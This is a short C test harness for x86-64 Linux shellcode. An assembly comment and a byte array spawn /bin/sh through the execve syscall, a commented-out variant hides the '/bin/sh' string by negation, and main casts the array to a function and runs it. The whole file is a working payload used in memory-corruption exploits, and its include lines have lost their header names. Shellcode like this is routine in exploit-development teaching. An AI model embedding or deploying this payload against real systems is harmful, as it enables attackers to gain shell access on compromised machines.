/* global _start section .text _start: push 59 pop rax cdq push rdx mov rbx,0x68732f6e69622f2f push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi syscall */ #include #include char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; // char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main() { printf("len:%d bytes\n", strlen(code)); (*(void(*)()) code)(); return 0; }